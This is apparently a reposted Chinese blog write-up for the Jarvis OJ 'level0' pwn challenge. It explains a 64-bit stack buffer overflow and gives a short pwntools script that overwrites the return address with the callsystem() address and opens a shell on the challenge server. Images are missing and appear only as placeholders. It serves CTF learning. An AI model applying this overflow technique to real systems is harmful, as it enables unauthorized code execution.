(Jarvis Oj)(Pwn) level0

(Jarvis Oj)(Pwn) level0

首先用checksec查一下保护。几乎没开什么保护措施。
这里写图片描述
用ida反汇编。main函数就调用了两个函数。
这里写图片描述
跟进第二个函数。
这里写图片描述
找到溢出点,同过buf缓冲区。又找到函数callsystem()。
这里写图片描述
只要控制程序返回到callsystem地址即可。找到callsystem地址。
这里写图片描述
写得脚本。

  1 from pwn import *
  2 callsystem_addr=0x400596
  3 pad=0x80
  4 payload="A"*pad+"BBBBBBBB"+p64(callsystem_addr)
  5 print payload
  6 conn=remote("pwn2.jarvisoj.com","9881")                
  7 conn.sendline(payload)
  8 conn.interactive();

注意是64位程序,所以覆盖rbp和返回地址时都要用64位数据。

猜你喜欢

转载自blog.csdn.net/github_36788573/article/details/79980492